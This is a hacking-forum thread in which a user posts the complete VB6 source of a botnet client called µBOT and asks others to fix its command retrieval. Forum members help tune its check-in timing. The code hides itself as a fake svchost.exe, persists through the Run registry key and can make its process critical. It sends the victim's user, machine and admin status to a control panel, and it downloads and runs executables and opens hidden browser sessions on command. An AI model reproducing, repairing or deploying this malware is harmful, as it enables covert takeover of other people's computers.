Hack Forums
[.NET] [VB6] HELP NEEDED [VB6] SOURCE CODE - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [VB6] HELP NEEDED [VB6] SOURCE CODE (/showthread.php?tid=4341128)



[VB6] HELP NEEDED [VB6] SOURCE CODE - jcbullet - Jul 15, 2014

As titles states,

Need some help with vb6 source code of ubot,

doesnt get commands for some reason, tried numerous time with no success .

many thanks

J


* - frapppp - Jul 15, 2014

Nobody can help you with what you've posted. Be clearer in your problem, post your code and just generally make it easier for us.


* - rodit - Jul 15, 2014

You put command1 in command2 and then it has workeded


* - __Digital__ - Jul 15, 2014

(Jul 15, 2014 12:52 PM)jcbullet Wrote:  As titles states,

Need some help with vb6 source code of ubot,

doesnt get commands for some reason, tried numerous time with no success .

many thanks

J

sounds like to me if your commands are not working then your omissing the module that declares the functions and so on...... Without seeing what you modified i cant help you....


* - jcbullet - Jul 16, 2014

Righty, Yes,

Apologies for not actually stating any code,

So below we have the code for the

FORM, Timer
PHP Code

<?php 
''''''
'© µBOT 2011     '
'VB6 - KØRRUPT   '
'PHP Panel - Adzz'
''''''

'Download
Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, ByVal dwReserved As Long, _
    ByVal lpfnCB As Long) As Long

'
Open Webpage
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

'Hidden File
Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long

Dim keyword(4) As Variant
Dim panel As String
Dim intCount As Integer
Dim interval As Integer

Private Sub Form_Load()
On Error Resume Next
'
###### [SETTINGS] ######
panel = "http://xxxxxx.com/boatnet/" 'Panel URL
MuTeX "8432hjf439jf3498nc" '
Set Mutex

interval 
= 10 'minutes
intCount = 0 '
tCount
'###### [/SETTINGS] ######

'
###### [PERSISTANCE] ######
'Call MakeCritical(-1, True) 'BSOD Process Persistance
App
.TaskVisible = False 'Visibility

FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("AppData") & "\svchost.exe" '
Copy file
SetFileAttributes Environ
("AppData") & "\svchost.exe", FILE_ATTRIBUTE_HIDDEN 'Hide it

addtostartup "svchost", (Environ("AppData") & "\svchost.exe") '
Add to startup
'###### [/PERSISTANCE] ######

Call getCommand(panel)
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
'
###### [SETTINGS] ######
panel = "http://xxxxxx.com/boatnet/" 'Panel URL
MuTeX "8432hjf439jf3498nc" '
Set Mutex

interval 
= 10 'minutes
intCount = 0 '
tCount
intCount 
= intCount + 1 'Count +1 minute...

If intCount = interval Then '
If time is reached...
intCount = 0 'Reset
addtostartup "svchost", (Environ("AppData") & "\svchost.exe")

Call getCommand(panel)
End If

End Sub

Public Sub getCommand(ByVal panel) '
Get Latest Command
On Error Resume Next
Dim objHttp 
As Object, strURL As String, strText As String, id As String

id 
= GetSetting("svchost", "svchost", "id", strText) 'Get ID

strURL = panel & "run.php" '
Control Panel / run.php
Set objHttp 
= CreateObject("MSXML2.ServerXMLHTTP")
objHttp.Open "POST", strURL, False
objHttp
.setRequestHeader "User-Agent", _
    
"753cda8b05e32ef3b82e0ff947a4a936" 'Set user-agent [Secret MD5]
objHttp.setRequestHeader "Content-Type", _
    "application/x-www-form-urlencoded" '
Allows data to be sent

If id <> "" Then 'If NOT blank...
objHttp.Send ("userandpc=" & Environ("USERNAME") & "@" & Environ("COMPUTERNAME") & "&admin=" & AmIAdmin & "&os=" & os & "&id=" & id) '
Send ID
Else
objHttp.Send ("userandpc=" & Environ("USERNAME") & "@" & Environ("COMPUTERNAME") & "&admin=" & AmIAdmin & "&os=" & os) 'Don't send ID, and retrieve new ID...
End If

strText = objHttp.ResponseText 'Response Text

      Dim errcode As Long
      Dim localFileName As String
      Dim rN As Integer

If Left(strText, 3) = "id|" Then
    SaveSetting "svchost", "svchost", "id", Split(strText, "|")(1) '
Save the new ID

ElseIf Left(strText, 3) = "DL|" Then 'Download...
      Randomize
      rN = Int(Rnd * 999999)
      DLurl = "http://" & Split(strText, "|")(1) '
Get download URL via. Split

      localFileName 
= Environ("TEMP") & "\" & rN & ".exe" 'Save dir

      errcode = URLDownloadToFile(0, DLurl, localFileName, 0, 0) 'Download

      Shell (Environ("
TEMP") & "\" & rN & ".exe") 'Execute

ElseIf Left(strText, 3) = "
UP|" Then
      Randomize
      rN = Int(Rnd * 999999)
      DLurl = "
http://" & Split(strText, "|")(1) 'Get download URL via. Split

      
localFileName = Environ("TEMP") & "\" & rN & ".exe" 'Save dir

      errcode = URLDownloadToFile(0, DLurl, localFileName, 0, 0) 'Download

      Shell (Environ("
TEMP") & "\" & rN & ".exe") 'Execute

      'Removal/Ending...
      Dim WshShell, CAL1
      Set WshShell = CreateObject("
WScript.Shell")

      If AmIAdmin = True Then
      CAL1 = "
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"
      WshShell.RegDelete CAL1
      Else
      CAL1 = "
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
      WshShell.RegDelete CAL1
      End If

      Call MakeCritical(-1, False)
      End

ElseIf Left(strText, 3) = "
VV|" Then
      ShellExecute Me.hwnd, "
Open", Split(strText, "|")(1), 0, 0, SW_SHOWNORMAL 'ShellExec [Normal]

ElseIf Left(strText, 3) = "
VI|" Then
      Shell Environ("
programfiles") & "\Internet Explorer\iexplore.exe " & Split(strText, "|")(1), vbHide 'ShellExec [Hidden]

ElseIf Left(strText, 3) = "
UN|" Then 'Removal/Ending...
      If AmIAdmin = True Then
      CAL1 = "
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run"
      WshShell.RegDelete CAL1
      Else
      CAL1 = "
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
      WshShell.RegDelete CAL1
      End If

      Call MakeCritical(-1, False)
      End
End If

Set objHttp = Nothing

End Sub 

Then we have the code for the Module.(Subs)

Code
Dim interval As Integer 'Timer
Dim intCount As Integer 'Timer Count [Minutes]
Dim panel As String 'Panel URL

'Admin Priviliges
Private Declare Function IsNTAdmin _
      Lib "advpack.dll" (ByVal dwReserved As Long, _
      ByRef lpdwReserved As Long) As Long

'Registry Controls
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1&

'BSOD Persistance
Private Declare Function RtlAdjustPrivilege Lib "ntdll" (ByVal Privilege As Long, ByVal Enable As Boolean, ByVal Client As Boolean, WasEnabled As Long) As Long
Private Declare Function NtSetInformationProcess Lib "NTDLL.DLL" (ByVal hProcess As Integer, ByVal ProcessInformationClass As Integer, ByVal ProcessInformation As Long, ByVal ProcessInformationLength As Integer) As Integer

'Mutex
Private Declare Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (ByVal lpMutexAttributes As Long, ByVal bInitialOwner As Long, ByVal lpName As String) As Long
Private Const ERROR_ALREADY_EXISTS = 183&
Dim mutexvalue As Long
Dim cmutex As String

Public Sub MuTeX(ByRef cmutex As String) 'Mutex Execution
mutexvalue = CreateMutex(ByVal 0&, 1, cmutex)
If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then
    End
End If
End Sub

Public Function MakeCritical(Phandle As Long, Value As Boolean) 'Make Process Critical
    Dim ProcessInfo As Long
    ProcessInfo = IIf(Value, 29&, 0&)
    Call RtlAdjustPrivilege(20, True, True, 0)
    Call NtSetInformationProcess(Phandle, 29, VarPtr(ProcessInfo), Len(ProcessInfo))
End Function

Function os() 'Get Operating System
Dim Shell
Set Shell = CreateObject("WScript.Shell")
os = Shell.regread("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName")
If Not InStr(os, "7") > 0 And InStr(os, "Vista") > 0 And InStr(os, "XP") > 0 And InStr(os, "Xp") > 0 Then
os = "Unknown"
End If
End Function

Public Function AmIAdmin() As Boolean 'Check For Admin
    On Error GoTo BSS_ErrorHandler
    If CBool(IsNTAdmin(0&, 0&)) = True Then
      AmIAdmin = True
    Else
      AmIAdmin = False
    End If
Exit Function
BSS_ErrorHandler:
    Resume Next
End Function

Public Function addtostartup(Value As String, Optional Filename As String) As Boolean 'Add to startup, HKLM/HKCU
    Dim hKey As Long, hCreate As Long, hSet As Long
    If AmIAdmin = True Then
      hCreate = RegCreateKey(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", hKey)
    Else
      hCreate = RegCreateKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", hKey)
    End If
    If hCreate = 0 Then
      hSet = RegSetValueEx(hKey, Value, 0, REG_SZ, ByVal Filename, Len(Filename))
    End If
    RegCloseKey (hKey)
End Function

It either,

Doesn't connect
Connects doesn't do any commands,
When bin is ran again, It runs tasks, Some reason open webpage put some obscured text in the webbar, Something about google analytics>PHP some code, Ill try and get it.

Any help is appreciated and will happily give a copy of the beta revamp

J


* - __Digital__ - Jul 16, 2014

First of the panel delay is set for 10 min checkin meaning the bot will not check into the panel for 10mins..... you can change the delay to 3 mins and it will appear faster.... As for commands,, they only get issued once checkin has happened... this makes it so the server your hosting on does not get overloaded with continuous checkins......


* - jcbullet - Jul 16, 2014

(Jul 16, 2014 10:03 AM)__Digital__ Wrote:  First of the panel delay is set for 10 min checkin meaning the bot will not check into the panel for 10mins..... you can change the delay to 3 mins and it will appear faster.... As for commands,, they only get issued once checkin has happened... this makes it so the server your hosting on does not get overloaded with continuous checkins......

Im with you,

So currently its configured so the command gets set on panel, Then the bin has to be ran again inorder for it to pickup any commands?
It doesnt make sense is there anyway to get it to get commands at a faster interval?

might be noob but if my pc time does not match the panel time will everything be out of sync?

(Jul 16, 2014 10:27 AM)jcbullet Wrote:  Im with you,

So currently its configured so the command gets set on panel, Then the bin has to be ran again inorder for it to pickup any commands?
It doesnt make sense is there anyway to get it to get commands at a faster interval?

might be noob but if my pc time does not match the panel time will everything be out of sync?

Dim keyword(4) As Variant
Dim panel As String
Dim intCount As Integer
Dim interval As Integer

Can you confirm that this is not causing any issues?


* - __Digital__ - Jul 16, 2014

(Jul 16, 2014 10:27 AM)jcbullet Wrote:  Im with you,

So currently its configured so the command gets set on panel, Then the bin has to be ran again inorder for it to pickup any commands?
It doesnt make sense is there anyway to get it to get commands at a faster interval?

might be noob but if my pc time does not match the panel time will everything be out of sync?


Dim keyword(4) As Variant
Dim panel As String
Dim intCount As Integer
Dim interval As Integer

Can you confirm that this is not causing any issues?

on first run the bot connects if tasks are active it will run them.... then dosnt check again for 10mins for new tasks.... So if you say have visit website active in your tasks as soon as the bot connects it will execute them then when you add a download/exec it waits 10 mins before checking back in for new tasks....